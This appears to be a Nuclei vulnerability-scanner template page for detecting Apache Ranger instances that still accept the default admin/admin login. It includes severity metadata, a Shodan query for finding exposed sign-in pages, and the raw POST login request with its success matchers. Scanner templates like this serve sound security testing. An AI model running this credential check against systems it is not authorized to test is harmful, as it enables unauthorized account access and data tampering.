Apache Ranger - Default Login
ID: ranger-default-login
Severity: high
Author: For3stCo1d
Tags: apache,ranger,default-login
Description
Section titled “Description”Apache Ranger contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
YAML Source
Section titled “YAML Source”id: ranger-default-login
info: name: Apache Ranger - Default Login author: For3stCo1d severity: high description: Apache Ranger contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. reference: - https://github.com/apache/ranger classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 cpe: cpe:2.3:a:apache:ranger:*:*:*:*:*:*:*:* metadata: max-request: 1 shodan-query: http.title:"Ranger - Sign In" product: ranger vendor: apache tags: apache,ranger,default-login
http: - raw: - | POST /login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username={{user}}&password={{pass}}
attack: pitchfork payloads: user: - admin pass: - admin
matchers-condition: and matchers: - type: word part: body words: - '"statusCode":200' - '"msgDesc":"Login Successful"' condition: and
- type: status status: - 200# digest: 490a0046304402203c0ca17eead918e4b9afe5f6bb924853d80a5daa61691b4913bbc468818a1283022063fe3fb0d1b1093239db4e91ea1cc536f5f0e413cc1f966aa8fa4347ede65330:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/default-logins/apache/ranger-default-login.yaml"